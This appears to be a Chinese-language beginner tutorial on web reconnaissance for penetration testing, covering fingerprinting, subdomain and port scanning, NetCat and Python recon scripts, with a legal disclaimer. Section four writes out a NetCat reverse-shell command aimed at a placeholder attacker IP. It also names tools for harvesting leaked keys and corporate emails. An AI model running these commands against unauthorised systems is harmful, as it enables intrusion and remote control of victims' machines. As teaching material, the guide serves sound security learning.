中华人民共和国网络安全法

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具:明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。


一、 看脸识系统:Web基础信息收集

这就好比去朋友家做客,首先得知道他家是别墅(Linux)还是洋楼(Windows)吧?

  1. 操作系统收集

    • Windows特征:通常比较“张扬”,有时候在网页的报错信息或者HTTP头里,直接就能看到 Windows 的字样。
    • Linux特征:比较“内敛”,但如果你看到 DebianUbuntu 或者路径里带着 /(斜杠),那基本就是它了。
  2. 中间件与脚本语言

    • 中间件(Web Server):这是网站的“门面”。
      • IIS:通常是 Windows 家的,看到它多半是微软系。
      • Apache/Nginx:通常是 Linux 家的,看到它们多半是开源系。
    • 脚本语言:这是网站的“内脏”。
      • PHP:最常见,看网页后缀是不是 .php,或者通过搜索引擎搜一下特定的报错页面。
      • ASP/ASP.NET:通常是 Windows + IIS 的组合拳。
  3. 源码与CMS识别

    • F12大法:按 F12 打开开发者工具,看网页源代码里的注释。很多网站(比如 WordPress)会在源代码里留个“到此一游”的标记,直接告诉你它用的什么系统。
    • 搜索引擎:把看到的特殊文件路径或者HTML特征丢进百度/Google,往往能搜出这是哪个CMS的模板。

二、 顺藤摸瓜:域名与网络空间测绘

光知道一个网站不够,我们还要看看它还有多少“亲戚”(子域名)和“家产”(开放端口)。

  1. 子域名收集

    • 在线工具:善用站长工具、IP138或者Chaziyu这类网站,输入主域名(如 vivo.com.cn),就能查出一堆子域名(如 crm.vivo.com)。
    • 工具辅助:使用“Layer子域名挖掘机”这类工具,通过字典爆破,把隐藏的子域名都挖出来。
  2. 端口扫描(侦察兵)

    • 常看端口
      • 80/443:Web网站(大门)。
      • 3306:MySQL数据库(仓库)。
      • 6379:Redis缓存(高速小仓库)。
      • 22/3389:远程登录(后门)。
    • 扫描利器
      • Masscan:号称“闪电侠”,速度极快,适合先扫一整个网段(C段),看看哪些IP是活的。
      • Nmap:老将出马,一个顶俩。适合对Masscan扫出来的结果进行详细探测(-sV查服务版本,-O查系统版本)。
  3. 网络空间测绘(搜索引擎)

    • Shodan / FOFA / ZoomEye:这些是黑客专用的搜索引擎。你可以用它们搜索“操作系统:Debian”或者“端口:3306”,直接把互联网上所有符合条件的设备都列出来。

三、 浏览器插件:你的信息收集外挂

工欲善其事,必先利其器。给浏览器装上这些“外挂”,能让你事半功倍。

  • Wappalyzer:自动识别网站使用的技术栈(比如:PHP 7.4 + Nginx + Vue.js)。
  • FOFA Pro View / Shodan:浏览网页时,直接在插件栏看到该IP的其他开放端口和关联信息。
  • FindSomething:自动分析网页源代码和JS文件,帮你找隐藏的URL、API接口,甚至可能泄露的Key。
  • Hunter:专门用来收集企业邮箱地址,是“社工库”的好帮手。

四、 重头戏:NetCat(NC)—— 网络安全的“瑞士军刀”

如果说前面的工具是雷达,那NetCat就是一把万能钥匙。它体积小,功能却极其强大,可以通过TCP/UDP协议读写数据。

1. NC的基础参数(命令暗号)

  • -l:监听模式(我在家等你打电话)。
  • -p:指定端口(打哪个电话号码)。
  • -v:显示详细过程(告诉我发生了什么)。
  • -n:不解析域名,直接用IP(不查通讯录,直接拨号)。
  • -e:程序重定向(重点,用于反弹Shell)。
  • -z:只扫描,不交互(悄悄路过,不敲门)。

2. 实战场景演练

  • 场景一:简单的聊天工具

    • 服务端(先开)nc.exe -lp 6666 (意思是:我在6666端口等着听你说话)。
    • 客户端(后开)nc.exe 127.0.0.1 6666 (意思是:我要连接本地的6666端口)。
    • 连上之后,两边就能像微信一样打字聊天了。
  • 场景二:文件传输(偷偷传小纸条)

    • 传过去(客户端 -> 服务端)
      • 服务端:nc.exe -lp 6666 > out.txt (准备把收到的东西存到out.txt)。
      • 客户端:nc.exe 127.0.0.1 6666 < a.txt (把a.txt的内容发过去)。
  • 场景三:反弹Shell(远程遥控电脑)

    • 正向连接
      • 攻击者监听:nc -lvp 9999
      • 目标机执行:nc -e cmd.exe 攻击者IP 9999
      • 结果:目标机直接把cmd(命令行)权限交给了攻击者。
    • Linux反弹:原理一样,把 cmd.exe 换成 /bin/bash
  • 场景四:端口扫描与Banner抓取

    • 扫描端口nc -n -v -w1 -z 192.168.1.1 1-100
    • 抓取Bannerecho " " | nc -n -v -w1 IP 端口,获取服务的欢迎信息。

五、 进阶:用Python手搓一个情报机器人

手动查IP、查域名太累了,我们可以让Python帮我们干活。

  1. IP与Whois查询

    • 利用 socket.gethostbyname() 函数,输入域名直接返回IP。
    • 利用 python-whois 模块,查询域名的注册人、注册商和过期时间。
  2. 子域名爆破脚本

    • 原理:写一个循环,读取字典文件(dict.txt),把每个单词拼接到主域名前(如 admin.xxx.com),然后尝试解析IP。如果解析成功,说明这个子域名存在。
  3. 多线程端口扫描器

    • 流程:利用 socket 模块的 connect() 方法,尝试连接目标IP+端口。
    • 加速:利用 threading 模块开启多线程,同时扫描多个端口,速度比单线程快几十倍。

温馨提示:技术无罪,但使用技术的人有责。请严格遵守《网络安全法》,在授权范围内进行测试。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐